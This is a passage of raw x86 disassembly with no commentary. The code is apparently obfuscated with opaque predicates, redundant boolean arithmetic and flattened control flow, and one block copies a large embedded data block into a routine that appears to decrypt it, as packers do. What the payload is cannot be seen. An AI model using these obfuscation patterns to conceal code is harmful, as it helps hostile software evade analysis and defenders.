or al, bh
xor ch, al
mov al, byte [ebp - 0xfd]
xor al, 0xff
mov bh, bl
xor bh, 1
mov byte [ebp - 0x100], al
mov al, bl
xor al, 0
mov byte [ebp - 0x101], al
mov al, byte [ebp - 0x100]
or al, bh
mov bh, byte [ebp - 0x101]
or bh, 0
xor al, 0xff
and al, bh
mov bh, byte [ebp - 0xf8]
xor bh, 0xff
mov byte [ebp - 0x102], al
mov al, ch
xor al, 0xff
mov byte [ebp - 0x103], al
mov al, bl
xor al, 0
mov byte [ebp - 0x104], al
mov al, byte [ebp - 0x103]
or bh, al
mov al, byte [ebp - 0x104]
or al, 0
xor bh, 0xff
and bh, al
mov al, bl
xor al, 1
mov byte [ebp - 0x105], al
mov al, cl
mov byte [ebp - 0x106], cl
mov cl, byte [ebp - 0x105]
xor al, cl
mov cl, byte [ebp - 0x106]
and al, cl
mov cl, ch
xor cl, 0xff
mov byte [ebp - 0x107], al
mov al, ah
xor al, cl
and al, ah
mov cl, byte [ebp - 0x102]
xor cl, 0xff
mov ah, bh
xor ah, 0xff
mov byte [ebp - 0x108], al
mov al, bl
xor al, 1
mov byte [ebp - 0x109], al
mov al, cl
and al, 0xff
mov byte [ebp - 0x10a], al
mov al, byte [ebp - 0x102]
mov byte [ebp - 0x10b], cl
mov cl, byte [ebp - 0x109]
and al, cl
mov cl, ah
and cl, 0xff
mov byte [ebp - 0x10c], al
mov al, byte [ebp - 0x109]
and bh, al
mov al, byte [ebp - 0x10a]
mov byte [ebp - 0x10d], cl
mov cl, byte [ebp - 0x10c]
or al, cl
mov cl, byte [ebp - 0x10d]
or cl, bh
xor al, cl
mov cl, byte [ebp - 0x10b]
or cl, ah
xor cl, 0xff
mov ah, byte [ebp - 0x109]
or ah, 1
and cl, ah
or al, cl
mov cl, byte [ebp - 0x107]
xor cl, 0xff
mov ah, byte [ebp - 0x108]
xor ah, 0xff
mov bh, bl
xor bh, 1
mov byte [ebp - 0x10e], al
mov al, cl
and al, 0xff
mov byte [ebp - 0x10f], al
mov al, byte [ebp - 0x107]
and al, bh
mov byte [ebp - 0x110], al
mov al, ah
and al, 0xff
mov byte [ebp - 0x111], al
mov al, byte [ebp - 0x108]
and al, bh
mov byte [ebp - 0x112], al
mov al, byte [ebp - 0x10f]
mov byte [ebp - 0x113], cl
mov cl, byte [ebp - 0x110]
or al, cl
mov cl, byte [ebp - 0x111]
mov byte [ebp - 0x114], al
mov al, byte [ebp - 0x112]
or cl, al
mov al, byte [ebp - 0x114]
xor al, cl
mov cl, byte [ebp - 0x113]
or cl, ah
xor cl, 0xff
or bh, 1
and cl, bh
or al, cl
mov cl, byte [ebp - 0x10e]
xor cl, 0xff
and cl, 1
mov ah, bl
xor ah, 1
mov bh, byte [ebp - 0x10e]
and bh, ah
mov byte [ebp - 0x115], al
xor al, 0xff
and al, 0xff
mov byte [ebp - 0x116], al
mov al, byte [ebp - 0x115]
and al, ah
or cl, bh
mov ah, byte [ebp - 0x116]
or ah, al
xor cl, ah
mov al, byte [ebp - 0xfd]
mov ah, byte [ebp - 0x106]
and al, ah
mov bh, byte [ebp - 0xfd]
xor bh, ah
or al, bh
mov bh, al
xor bh, 0xff
and bh, 0
mov ah, bl
xor ah, 0
and al, ah
mov byte [ebp - 0x117], al
mov al, bl
xor al, 1
and al, 0
and ah, 1
mov byte [ebp - 0x118], al
mov al, byte [ebp - 0x117]
or bh, al
mov al, byte [ebp - 0x118]
or al, ah
xor bh, al
mov al, ch
and al, 1
xor ch, 1
or al, ch
xor bh, 0xff
xor al, 0xff
xor bl, 1
or bh, al
or bl, 1
xor bh, 0xff
and bh, bl
mov al, cl
and al, bh
xor cl, bh
or al, cl
test al, 1
mov esi, dword [ebp - 0xe0]
cmovne esi, edx
mov dword [ebp - 0x28], esi
jmp 0x477f7c
mov eax, 0xf8fc41fe
mov ecx, 0x3a60ff0a
mov dl, byte [ebp - 0xe]
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x28], eax
jmp 0x477f7c
mov eax, 0xc0ea65c0
mov ecx, 0xf5d0be18
mov dl, 1
xor esi, esi
mov edi, 0xd43543aa
mov ebx, dword [0x4ac094]
mov dword [ebp - 0x11c], eax
mov eax, dword [0x4ac098]
add edi, 0
sub edi, 0x61776099
sub edi, 0xd43543aa
sub edi, 0xf3025b48
sub edi, 1
add edi, 0xf3025b48
add edi, 0x292c9671
add edi, 0x61776099
sub edi, 0x292c9671
mov dword [ebp - 0x120], eax
mov eax, ebx
add eax, 0xf58f4385
add eax, 0x6d52a5e4
sub eax, 0xf58f4385
sub esi, edi
sub eax, esi
sub eax, 0x73b1c343
sub eax, 0x6d52a5e4
add eax, 0x73b1c343
imul ebx, eax
and ebx, 1
cmp ebx, 0
sete dh
mov eax, dword [ebp - 0x120]
cmp eax, 0xa
setl al
mov ah, dh
xor ah, 0xff
and ah, 1
mov bl, dl
xor bl, 1
mov bh, dh
and bh, bl
mov byte [ebp - 0x121], al
mov al, dl
xor al, 1
and al, 0xff
and bl, 1
or ah, bh
or al, bl
xor ah, al
mov al, byte [ebp - 0x121]
xor al, 0xff
and al, 1
mov bl, dl
xor bl, 1
mov bh, byte [ebp - 0x121]
and bh, bl
or al, bh
mov bl, dl
xor bl, 1
and bl, 1
mov bh, dl
xor bh, 1
and bh, 1
or bl, bh
mov bh, ah
and bh, al
xor ah, al
or bh, ah
mov al, bl
and al, 1
xor bl, 1
or al, bl
mov ah, bh
xor ah, 0xff
and ah, 0
mov bl, dl
xor bl, 0
and bh, bl
mov byte [ebp - 0x122], al
mov al, dl
xor al, 1
and al, 0
and bl, 1
or ah, bh
or al, bl
xor ah, al
mov al, byte [ebp - 0x122]
xor al, 0xff
mov bl, ah
xor bl, al
and bl, ah
mov al, dh
xor al, 0xff
and al, 0
mov ah, dl
xor ah, 0
mov bh, dh
and bh, ah
mov byte [ebp - 0x123], al
mov al, dl
xor al, 1
and al, 0
and ah, 1
mov byte [ebp - 0x124], al
mov al, byte [ebp - 0x123]
or al, bh
mov bh, byte [ebp - 0x124]
or bh, ah
xor al, bh
xor al, 0xff
xor al, 1
and al, 0xff
mov ah, dl
xor ah, 1
and ah, 1
mov bh, dl
xor bh, 1
and bh, 1
or ah, bh
xor dh, 0xff
mov bh, ah
xor bh, 0xff
mov byte [ebp - 0x125], al
mov al, dl
xor al, 0
or dh, bh
or al, 0
xor dh, 0xff
and dh, al
mov al, byte [ebp - 0x121]
xor al, 0xff
and al, 1
mov bh, dl
xor bh, 1
mov byte [ebp - 0x126], al
mov al, byte [ebp - 0x121]
and al, bh
mov bh, byte [ebp - 0x126]
or bh, al
mov al, dl
xor al, 1
mov byte [ebp - 0x127], al
mov al, bh
mov dword [ebp - 0x12c], ecx
mov cl, byte [ebp - 0x127]
xor al, cl
and al, bh
mov cl, byte [ebp - 0x121]
xor cl, 0xff
xor ah, 0xff
mov bh, dl
xor bh, 0
or cl, ah
or bh, 0
xor cl, 0xff
and cl, bh
mov ah, byte [ebp - 0x125]
and ah, dh
mov bh, byte [ebp - 0x125]
xor bh, dh
or ah, bh
mov dh, al
xor dh, 0xff
mov bh, cl
xor bh, 0xff
mov ch, dl
xor ch, 1
mov byte [ebp - 0x12d], al
mov al, dh
and al, 0xff
mov byte [ebp - 0x12e], al
mov al, byte [ebp - 0x12d]
and al, ch
mov byte [ebp - 0x12f], al
mov al, bh
and al, 0xff
and cl, ch
mov byte [ebp - 0x130], al
mov al, byte [ebp - 0x12e]
mov byte [ebp - 0x131], cl
mov cl, byte [ebp - 0x12f]
or al, cl
mov cl, byte [ebp - 0x130]
mov byte [ebp - 0x132], al
mov al, byte [ebp - 0x131]
or cl, al
mov al, byte [ebp - 0x132]
xor al, cl
or dh, bh
xor dh, 0xff
or ch, 1
and dh, ch
or al, dh
mov cl, ah
xor cl, 0xff
and cl, 1
mov ch, dl
xor ch, 1
and ah, ch
mov dh, al
xor dh, 0xff
and dh, 0xff
and al, ch
or cl, ah
or dh, al
xor cl, dh
mov al, bl
xor al, 0xff
and al, 1
mov ah, dl
xor ah, 1
mov ch, bl
and ch, ah
mov dh, dl
xor dh, 1
and dh, 0xff
and ah, 1
or al, ch
or dh, ah
xor al, dh
mov ah, cl
xor ah, 0xff
and ah, 1
mov ch, dl
xor ch, 1
mov dh, cl
and dh, ch
or ah, dh
mov ch, dl
xor ch, 0
and ch, 1
mov dh, dl
xor dh, 1
and dh, 0
or ch, dh
mov dh, dl
xor dh, 0
mov bh, al
xor bh, dh
and bh, al
mov dh, ch
xor dh, 0xff
mov byte [ebp - 0x133], al
mov al, bl
xor al, dh
and al, bl
mov dh, dl
xor dh, 0
mov bl, ah
xor bl, dh
and bl, ah
mov dh, ch
xor dh, 0xff
mov byte [ebp - 0x134], al
mov al, cl
xor al, dh
and al, cl
mov cl, bh
mov dh, byte [ebp - 0x134]
and cl, dh
xor bh, dh
or cl, bh
mov bh, bl
xor bh, 0xff
mov dh, al
xor dh, 0xff
mov byte [ebp - 0x135], al
mov al, dl
xor al, 0
mov byte [ebp - 0x136], al
mov al, bh
and al, 0
mov byte [ebp - 0x137], al
mov al, byte [ebp - 0x136]
and bl, al
mov al, dh
and al, 0
mov byte [ebp - 0x138], al
mov al, byte [ebp - 0x135]
mov byte [ebp - 0x139], cl
mov cl, byte [ebp - 0x136]
and al, cl
mov cl, byte [ebp - 0x137]
or cl, bl
mov bl, byte [ebp - 0x138]
or bl, al
xor cl, bl
or bh, dh
xor bh, 0xff
mov al, byte [ebp - 0x136]
or al, 0
and bh, al
or cl, bh
mov al, byte [ebp - 0x139]
xor al, 0xff
and al, 1
mov dh, dl
xor dh, 1
mov bl, byte [ebp - 0x139]
and bl, dh
mov bh, cl
xor bh, 0xff
and bh, 0xff
and cl, dh
or al, bl
or bh, cl
xor al, bh
mov cl, byte [ebp - 0x133]
xor cl, 0xff
mov dh, ah
xor dh, 0xff
mov bl, dl
xor bl, 1
mov bh, cl
and bh, 0xff
mov byte [ebp - 0x13a], al
mov al, byte [ebp - 0x133]
and al, bl
mov byte [ebp - 0x13b], al
mov al, dh
and al, 0xff
and ah, bl
mov byte [ebp - 0x13c], al
mov al, byte [ebp - 0x13b]
or bh, al
mov al, byte [ebp - 0x13c]
or al, ah
xor bh, al
or cl, dh
xor cl, 0xff
or bl, 1
and cl, bl
or bh, cl
mov al, bh
xor al, 0xff
and al, 1
mov cl, dl
xor cl, 1
and bh, cl
or al, bh
mov cl, dl
xor cl, 0
mov ah, ch
xor ah, 0xff
xor dl, 1
mov dh, cl
and dh, 0xff
mov bl, dl
and bl, 0
mov bh, ah
and bh, 0xff
and ch, dl
or dh, bl
or bh, ch
xor dh, bh
or cl, ah
xor cl, 0xff
or dl, 1
and cl, dl
or dh, cl
xor dh, 0xff
mov cl, al
xor cl, dh
and cl, al
mov al, byte [ebp - 0x13a]
and al, cl
mov dl, byte [ebp - 0x13a]
xor dl, cl
or al, dl
test al, 1
mov esi, dword [ebp - 0x11c]
mov edi, dword [ebp - 0x12c]
cmovne esi, edi
mov dword [ebp - 0x28], esi
jmp 0x477f7c
mov eax, 0x2d200
lea ecx, [0x47c024]
mov edx, dword [ebp - 0x1c]
mov edx, dword [edx]
sub esp, 0xc
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], 0x2d200
mov dword [ebp - 0x140], eax
call sub.msvcrt.dll_memcpy
add esp, 0xc
mov eax, dword [ebp - 0x1c]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x20]
mov ecx, dword [ecx]
mov edx, dword [ebp - 0x20]
mov edx, dword [edx]
sub esp, 4
mov esi, esp
mov dword [esi], edx
mov dword [ebp - 0x144], eax
mov dword [ebp - 0x148], ecx
call sub.msvcrt.dll_strlen
sub esp, 0xc
mov ecx, dword [ebp - 0x144]
mov dword [esp], ecx
mov ecx, dword [ebp - 0x148]
mov dword [esp + 4], ecx
mov dword [esp + 8], 0x2d200
mov dword [esp + 0xc], eax
call fcn.0045c870
add esp, 0x10
mov ecx, dword [ebp - 0x1c]
mov ecx, dword [ecx]
sub esp, 4
mov dword [esp], ecx
mov dword [ebp - 0x14c], eax
call fcn.00401460
add esp, 4
mov ecx, 0xc0ea65c0
mov edx, 0x444439c
mov bl, 1
xor esi, esi
mov edi, dword [ebp - 0x18]
mov dword [edi], eax
mov eax, dword [ebp - 0x18]
cmp dword [eax], 0
setne bh
and bh, 1
mov byte [ebp - 0xd], bh
mov eax, dword [0x4ac094]
mov edi, dword [0x4ac098]
mov dword [ebp - 0x150], eax
mov eax, esi
sub eax, 0xc82c1eb4
add eax, 0
mov dword [ebp - 0x154], eax
mov eax, dword [ebp - 0x150]
sub eax, 0x968e21b1
mov dword [ebp - 0x158], ecx
mov ecx, dword [ebp - 0x154]
sub eax, ecx
add eax, 0x968e21b1
mov ecx, esi
sub ecx, 0xfba8f262
sub ecx, 1
add ecx, 0xfba8f262
sub eax, 0xde007422
add eax, ecx
add eax, 0xde007422
sub esi, 0x2c84d643
add eax, esi
add eax, 0xb6b08b9c
sub eax, 0xc82c1eb4
sub eax, 0xb6b08b9c
add eax, 0xd25453ef
add eax, 0x2c84d643
sub eax, 0xd25453ef
mov ecx, dword [ebp - 0x150]
imul ecx, eax
and ecx, 1
cmp ecx, 0
sete bh
cmp edi, 0xa
setl al
mov ah, bh
xor ah, 0xff
and ah, 0
mov cl, bl
xor cl, 0
mov ch, bh
and ch, cl
mov byte [ebp - 0x159], al
mov al, bl
xor al, 1
and al, 0
and cl, 1
or ah, ch
or al, cl
xor ah, al
mov al, bl
xor al, 1
xor ah, 0xff
mov cl, bl
xor cl, 1
or al, ah
or cl, 1
xor al, 0xff
and al, cl
mov cl, bl
xor cl, 1
and cl, 1
mov ah, bl
xor ah, 1
and ah, 1
or cl, ah
mov ah, bh
xor ah, 0xff
xor cl, 0xff
mov ch, bl
xor ch, 0
or ah, cl
or ch, 0
xor ah, 0xff
and ah, ch
mov cl, al
and cl, ah
xor al, ah
or cl, al
mov al, byte [ebp - 0x159]
xor al, 0xff
and al, 1
mov ah, bl
xor ah, 1
mov ch, byte [ebp - 0x159]
and ch, ah
or al, ch
mov ah, bl
xor ah, 0
xor al, 0xff
mov ch, bl
xor ch, 1
or ah, al
or ch, 1
xor ah, 0xff
and ah, ch
mov al, bl
xor al, 0
and al, 0
mov ch, bl
xor ch, 0
mov byte [ebp - 0x15a], al
mov al, ch
and al, 0
mov byte [ebp - 0x15b], al
mov al, bl
xor al, 1
and al, 0
and ch, 1
mov byte [ebp - 0x15c], al
mov al, byte [ebp - 0x15a]
mov byte [ebp - 0x15d], cl
mov cl, byte [ebp - 0x15b]
or al, cl
mov cl, byte [ebp - 0x15c]
or cl, ch
xor al, cl
mov cl, byte [ebp - 0x159]
xor cl, 0xff
mov ch, al
xor ch, 0xff
mov byte [ebp - 0x15e], al
mov al, bl
xor al, 0
or cl, ch
or al, 0
xor cl, 0xff
and cl, al
mov al, bl
xor al, 1
and al, 0
mov ch, bl
xor ch, 0
mov byte [ebp - 0x15f], al
mov al, ch
and al, 1
mov byte [ebp - 0x160], al
mov al, bl
xor al, 1
and al, 0
and ch, 1
mov byte [ebp - 0x161], al
mov al, byte [ebp - 0x15f]
mov byte [ebp - 0x162], cl
mov cl, byte [ebp - 0x160]
or al, cl
mov cl, byte [ebp - 0x161]
or cl, ch
xor al, cl
xor al, 0xff
mov cl, bl
xor cl, 0
mov ch, bl
xor ch, 0
or al, cl
or ch, 0
xor al, 0xff
and al, ch
mov cl, byte [ebp - 0x15e]
xor cl, 0xff
xor cl, 1
and cl, 0xff
mov ch, ah
mov byte [ebp - 0x163], al
mov al, byte [ebp - 0x162]
and ch, al
xor ah, al
or ch, ah
mov ah, byte [ebp - 0x163]
and ah, cl
mov al, byte [ebp - 0x163]
xor al, cl
or ah, al
mov al, ch
xor al, 0xff
mov cl, ah
and cl, al
xor ah, 0xff
and ch, ah
or cl, ch
mov al, bl
xor al, 1
and al, 0
mov ah, bl
xor ah, 0
mov ch, ah
and ch, 1
mov byte [ebp - 0x164], al
mov al, bl
xor al, 1
and al, 0
and ah, 1
mov byte [ebp - 0x165], al
mov al, byte [ebp - 0x164]
or al, ch
mov ch, byte [ebp - 0x165]
or ch, ah
xor al, ch
mov ah, bl
xor ah, 0
xor al, 0xff
mov ch, bl
xor ch, 1
or ah, al
or ch, 1
xor ah, 0xff
and ah, ch
mov al, bl
xor al, 0
and al, 1
mov ch, bl
xor ch, 1
and ch, 0
or al, ch
mov ch, al
xor ch, 0xff
xor ch, 1
and ch, 0xff
mov byte [ebp - 0x166], al
mov al, bl
xor al, 1
and al, 1
mov byte [ebp - 0x167], al
mov al, bl
xor al, 1
and al, 1
mov byte [ebp - 0x168], al
mov al, byte [ebp - 0x167]
mov byte [ebp - 0x169], cl
mov cl, byte [ebp - 0x168]
or al, cl
xor al, 0xff
mov cl, bl
xor cl, 0
mov byte [ebp - 0x16a], al
mov al, bl
xor al, 1
mov byte [ebp - 0x16b], al
mov al, byte [ebp - 0x16a]
or al, cl
mov cl, byte [ebp - 0x16b]
or cl, 1
xor al, 0xff
and al, cl
mov cl, byte [ebp - 0x166]
xor cl, 0xff
xor cl, 1
and cl, 0xff
mov byte [ebp - 0x16c], al
mov al, ah
xor al, 0xff
mov byte [ebp - 0x16d], al
mov al, ch
xor al, 0xff
mov byte [ebp - 0x16e], al
mov al, bl
xor al, 1
mov byte [ebp - 0x16f], al
mov al, byte [ebp - 0x16d]
and al, 0xff
mov byte [ebp - 0x170], al
mov al, byte [ebp - 0x16f]
and ah, al
mov al, byte [ebp - 0x16e]
and al, 0xff
mov byte [ebp - 0x171], al
mov al, byte [ebp - 0x16f]
and ch, al
mov al, byte [ebp - 0x170]
or al, ah
mov ah, byte [ebp - 0x171]
or ah, ch
xor al, ah
mov ah, byte [ebp - 0x16d]
mov ch, byte [ebp - 0x16e]
or ah, ch
xor ah, 0xff
mov ch, byte [ebp - 0x16f]
or ch, 1
and ah, ch
or al, ah
mov ah, byte [ebp - 0x16c]
xor ah, 0xff
mov ch, cl
xor ch, 0xff
mov byte [ebp - 0x172], al
mov al, bl
xor al, 0
mov byte [ebp - 0x173], al
mov al, ah
and al, 0
mov byte [ebp - 0x174], al
mov al, byte [ebp - 0x16c]
mov byte [ebp - 0x175], cl
mov cl, byte [ebp - 0x173]
and al, cl
mov cl, ch
and cl, 0
mov byte [ebp - 0x176], al
mov al, byte [ebp - 0x175]
mov byte [ebp - 0x177], cl
mov cl, byte [ebp - 0x173]
and al, cl
mov cl, byte [ebp - 0x174]
mov byte [ebp - 0x178], al
mov al, byte [ebp - 0x176]
or cl, al
mov al, byte [ebp - 0x177]
mov byte [ebp - 0x179], cl
mov cl, byte [ebp - 0x178]
or al, cl
mov cl, byte [ebp - 0x179]
xor cl, al
or ah, ch
xor ah, 0xff
mov al, byte [ebp - 0x173]
or al, 0
and ah, al
or cl, ah
mov al, byte [ebp - 0x172]
xor al, 0xff
mov ah, cl
and ah, al
xor cl, 0xff
mov al, byte [ebp - 0x172]
and al, cl
or ah, al
mov al, bl
xor al, 1
and al, 1
mov cl, bl
xor cl, 1
and cl, 1
or al, cl
mov cl, byte [ebp - 0x15d]
xor cl, 0xff
and cl, 1
mov ch, bl
xor ch, 1
mov byte [ebp - 0x17a], al
mov al, byte [ebp - 0x15d]
and al, ch
mov byte [ebp - 0x17b], al
mov al, byte [ebp - 0x17a]
xor al, 0xff
and al, 0xff
mov byte [ebp - 0x17c], al
mov al, byte [ebp - 0x17a]
and al, ch
mov ch, byte [ebp - 0x17b]
or cl, ch
mov ch, byte [ebp - 0x17c]
or ch, al
xor cl, ch
xor cl, 0xff
mov al, byte [ebp - 0x15d]
xor al, 0xff
mov ch, bl
xor ch, 1
or cl, al
or ch, 1
xor cl, 0xff
and cl, ch
mov al, ah
xor al, 0xff
and al, 1
mov ch, bl
xor ch, 1
mov byte [ebp - 0x17d], al
mov al, ah
and al, ch
mov ch, byte [ebp - 0x17d]
or ch, al
mov al, bh
xor al, 0xff
and al, 0
mov byte [ebp - 0x17e], al
mov al, bl
xor al, 0
mov byte [ebp - 0x17f], al
mov al, bh
mov byte [ebp - 0x180], cl
mov cl, byte [ebp - 0x17f]
and al, cl
mov cl, ch
xor cl, 0xff
and cl, 0
mov byte [ebp - 0x181], al
mov al, byte [ebp - 0x17f]
and ch, al
mov al, byte [ebp - 0x17e]
mov byte [ebp - 0x182], cl
mov cl, byte [ebp - 0x181]
or al, cl
mov cl, byte [ebp - 0x182]
or cl, ch
xor al, cl
xor al, 0xff
xor bh, 0xff
mov cl, bl
xor cl, 0
or al, bh
or cl, 0
xor al, 0xff
and al, cl
mov cl, byte [ebp - 0x169]
xor cl, 0xff
and cl, 1
mov ch, bl
xor ch, 1
mov bh, byte [ebp - 0x169]
and bh, ch
mov byte [ebp - 0x183], al
mov al, bl
xor al, 1
and al, 0xff
and ch, 1
or cl, bh
or al, ch
xor cl, al
mov al, bl
xor al, 1
and al, 1
mov ch, bl
xor ch, 1
and ch, 1
or al, ch
mov ch, bl
xor ch, 0
and ch, 1
mov bh, bl
xor bh, 1
and bh, 0
or ch, bh
mov bh, cl
xor bh, 0xff
mov byte [ebp - 0x184], al
xor al, 0xff
mov byte [ebp - 0x185], al
mov al, bl
xor al, 0
mov byte [ebp - 0x186], al
mov al, bh
and al, 0
mov byte [ebp - 0x187], al
mov al, byte [ebp - 0x186]
and cl, al
mov al, byte [ebp - 0x185]
and al, 0
mov byte [ebp - 0x188], al
mov al, byte [ebp - 0x184]
mov byte [ebp - 0x189], cl
mov cl, byte [ebp - 0x186]
and al, cl
mov cl, byte [ebp - 0x187]
mov byte [ebp - 0x18a], al
mov al, byte [ebp - 0x189]
or cl, al
mov al, byte [ebp - 0x188]
mov byte [ebp - 0x18b], cl
mov cl, byte [ebp - 0x18a]
or al, cl
mov cl, byte [ebp - 0x18b]
xor cl, al
mov al, byte [ebp - 0x185]
or bh, al
xor bh, 0xff
mov al, byte [ebp - 0x186]
or al, 0
and bh, al
or cl, bh
mov al, bl
xor al, 0
mov bh, ch
xor bh, 0xff
mov byte [ebp - 0x18c], al
mov al, bl
xor al, 0
mov byte [ebp - 0x18d], al
mov al, byte [ebp - 0x18c]
and al, 0
mov byte [ebp - 0x18e], al
mov al, byte [ebp - 0x18d]
and al, 0
mov byte [ebp - 0x18f], al
mov al, bh
and al, 0
mov byte [ebp - 0x190], al
mov al, byte [ebp - 0x18d]
and ch, al
mov al, byte [ebp - 0x18e]
mov byte [ebp - 0x191], cl
mov cl, byte [ebp - 0x18f]
or al, cl
mov cl, byte [ebp - 0x190]
or cl, ch
xor al, cl
mov cl, byte [ebp - 0x18c]
or cl, bh
xor cl, 0xff
mov ch, byte [ebp - 0x18d]
or ch, 0
and cl, ch
or al, cl
mov cl, byte [ebp - 0x191]
xor cl, 0xff
and cl, 0
mov ch, bl
xor ch, 0
mov bh, byte [ebp - 0x191]
and bh, ch
mov byte [ebp - 0x192], al
mov al, bl
xor al, 1
and al, 0
and ch, 1
or cl, bh
or al, ch
xor cl, al
xor cl, 0xff
mov al, byte [ebp - 0x192]
xor al, 0xff
mov ch, bl
xor ch, 0
or cl, al
or ch, 0
xor cl, 0xff
and cl, ch
mov al, byte [ebp - 0x159]
xor al, 0xff
and al, 1
mov ch, bl
xor ch, 1
mov bh, byte [ebp - 0x159]
and bh, ch
or al, bh
mov ch, ah
xor ch, 0xff
and ch, 0
mov bh, bl
xor bh, 0
mov byte [ebp - 0x193], al
mov al, ah
and al, bh
mov byte [ebp - 0x194], al
mov al, bl
xor al, 1
and al, 0
and bh, 1
mov byte [ebp - 0x195], al
mov al, byte [ebp - 0x194]
or ch, al
mov al, byte [ebp - 0x195]
or al, bh
xor ch, al
mov al, bl
xor al, 1
and al, 1
mov bh, bl
xor bh, 1
mov byte [ebp - 0x196], al
mov al, bh
and al, 1
mov byte [ebp - 0x197], al
mov al, bl
xor al, 1
and al, 0xff
and bh, 1
mov byte [ebp - 0x198], al
mov al, byte [ebp - 0x196]
mov byte [ebp - 0x199], cl
mov cl, byte [ebp - 0x197]
or al, cl
mov cl, byte [ebp - 0x198]
or cl, bh
xor al, cl
mov cl, byte [ebp - 0x193]
xor cl, 0xff
mov bh, ch
xor bh, 0xff
mov byte [ebp - 0x19a], al
mov al, bl
xor al, 1
mov byte [ebp - 0x19b], al
mov al, cl
and al, 0xff
mov byte [ebp - 0x19c], al
mov al, byte [ebp - 0x193]
mov byte [ebp - 0x19d], cl
mov cl, byte [ebp - 0x19b]
and al, cl
mov cl, bh
and cl, 0xff
mov byte [ebp - 0x19e], al
mov al, byte [ebp - 0x19b]
and ch, al
mov al, byte [ebp - 0x19c]
mov byte [ebp - 0x19f], cl
mov cl, byte [ebp - 0x19e]
or al, cl
mov cl, byte [ebp - 0x19f]
or cl, ch
xor al, cl
mov cl, byte [ebp - 0x19d]
or cl, bh
xor cl, 0xff
mov ch, byte [ebp - 0x19b]
or ch, 1
and cl, ch
or al, cl
mov cl, byte [ebp - 0x19a]
and cl, 1
mov ch, byte [ebp - 0x19a]
xor ch, 1
or cl, ch
mov ch, al
xor ch, 0xff
and ch, 1
mov bh, bl
xor bh, 1
and al, bh
or ch, al
xor ch, 0xff
xor cl, 0xff
mov al, bl
xor al, 0
or ch, cl
or al, 0
xor ch, 0xff
and ch, al
mov al, byte [ebp - 0x180]
xor al, 0xff
and al, 0
mov cl, bl
xor cl, 0
mov bh, byte [ebp - 0x180]
and bh, cl
mov byte [ebp - 0x1a0], al
mov al, bl
xor al, 1
and al, 0
and cl, 1
mov byte [ebp - 0x1a1], al
mov al, byte [ebp - 0x1a0]
or al, bh
mov bh, byte [ebp - 0x1a1]
or bh, cl
xor al, bh
mov cl, byte [ebp - 0x183]
xor cl, 0xff
and cl, 1
mov bh, bl
xor bh, 1
mov byte [ebp - 0x1a2], al
mov al, byte [ebp - 0x183]
and al, bh
or cl, al
mov al, bl
xor al, 1
and al, 1
mov bh, bl
xor bh, 1
and bh, 1
or al, bh
mov bh, bl
xor bh, 1
mov byte [ebp - 0x1a3], al
mov al, byte [ebp - 0x1a2]
xor al, bh
mov bh, byte [ebp - 0x1a2]
and al, bh
mov bh, byte [ebp - 0x1a3]
xor bh, 0xff
mov byte [ebp - 0x1a4], al
mov al, byte [ebp - 0x180]
xor al, bh
mov bh, byte [ebp - 0x180]
and al, bh
mov bh, bl
xor bh, 1
mov byte [ebp - 0x1a5], al
mov al, cl
xor al, bh
and al, cl
mov bh, byte [ebp - 0x1a3]
xor bh, 0xff
mov byte [ebp - 0x1a6], al
mov al, byte [ebp - 0x183]
xor al, bh
mov bh, byte [ebp - 0x183]
and al, bh
mov bh, byte [ebp - 0x1a4]
xor bh, 0xff
mov byte [ebp - 0x1a7], al
mov al, byte [ebp - 0x1a5]
xor al, 0xff
mov byte [ebp - 0x1a8], al
mov al, bl
xor al, 0
mov byte [ebp - 0x1a9], al
mov al, bh
and al, 0
mov byte [ebp - 0x1aa], al
mov al, byte [ebp - 0x1a4]
mov byte [ebp - 0x1ab], cl
mov cl, byte [ebp - 0x1a9]
and al, cl
mov cl, byte [ebp - 0x1a8]
and cl, 0
mov byte [ebp - 0x1ac], al
mov al, byte [ebp - 0x1a5]
mov byte [ebp - 0x1ad], cl
mov cl, byte [ebp - 0x1a9]
and al, cl
mov cl, byte [ebp - 0x1aa]
mov byte [ebp - 0x1ae], al
mov al, byte [ebp - 0x1ac]
or cl, al
mov al, byte [ebp - 0x1ad]
mov byte [ebp - 0x1af], cl
mov cl, byte [ebp - 0x1ae]
or al, cl
mov cl, byte [ebp - 0x1af]
xor cl, al
mov al, byte [ebp - 0x1a8]
or bh, al
xor bh, 0xff
mov al, byte [ebp - 0x1a9]
or al, 0
and bh, al
or cl, bh
mov al, byte [ebp - 0x1a6]
xor al, 0xff
mov bh, byte [ebp - 0x1a7]
xor bh, 0xff
mov byte [ebp - 0x1b0], al
mov al, bl
xor al, 1
mov byte [ebp - 0x1b1], al
mov al, byte [ebp - 0x1b0]
and al, 0xff
mov byte [ebp - 0x1b2], al
mov al, byte [ebp - 0x1a6]
mov byte [ebp - 0x1b3], cl
mov cl, byte [ebp - 0x1b1]
and al, cl
mov cl, bh
and cl, 0xff
mov byte [ebp - 0x1b4], al
mov al, byte [ebp - 0x1a7]
mov byte [ebp - 0x1b5], cl
mov cl, byte [ebp - 0x1b1]
and al, cl
mov cl, byte [ebp - 0x1b2]
mov byte [ebp - 0x1b6], al
mov al, byte [ebp - 0x1b4]
or cl, al
mov al, byte [ebp - 0x1b5]
mov byte [ebp - 0x1b7], cl
mov cl, byte [ebp - 0x1b6]
or al, cl
mov cl, byte [ebp - 0x1b7]
xor cl, al
mov al, byte [ebp - 0x1b0]
or al, bh
xor al, 0xff
mov bh, byte [ebp - 0x1b1]
or bh, 1
and al, bh
or cl, al
mov al, byte [ebp - 0x1b3]
xor al, 0xff
and al, 0
mov bh, bl
xor bh, 0
mov byte [ebp - 0x1b8], al
mov al, byte [ebp - 0x1b3]
and al, bh
mov byte [ebp - 0x1b9], al
mov al, cl
xor al, 0xff
and al, 0
and cl, bh
mov bh, byte [ebp - 0x1b8]
mov byte [ebp - 0x1ba], al
mov al, byte [ebp - 0x1b9]
or bh, al
mov al, byte [ebp - 0x1ba]
or al, cl
xor bh, al
mov al, byte [ebp - 0x1a2]
mov cl, byte [ebp - 0x1ab]
and al, cl
mov cl, byte [ebp - 0x1a2]
mov byte [ebp - 0x1bb], al
mov al, byte [ebp - 0x1ab]
xor cl, al
mov al, byte [ebp - 0x1bb]
or al, cl
mov cl, al
xor cl, 0xff
and cl, 1
mov byte [ebp - 0x1bc], al
mov al, bl
xor al, 1
mov byte [ebp - 0x1bd], al
